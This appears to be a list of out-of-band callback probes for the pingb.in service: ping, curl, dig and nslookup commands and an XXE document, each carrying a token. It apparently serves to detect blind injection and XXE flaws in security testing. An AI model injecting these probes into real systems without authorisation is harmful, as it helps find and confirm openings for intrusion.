$ ping -c1 -p 008a28740a5146591ab944b31734a000 pingb.in
$ curl pingb.in/p/8a28740a5146591ab944b31734a0
$ dig 8a28740a5146591ab944b31734a0 @pingb.in
$ dig 8a28740a5146591ab944b31734a0.ns.pingb.in
C:\> nslookup 8a28740a5146591ab944b31734a0 pingb.in
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://pingb.in/p/8a28740a5146591ab944b31734a0">]> <foo>&xxe;</foo>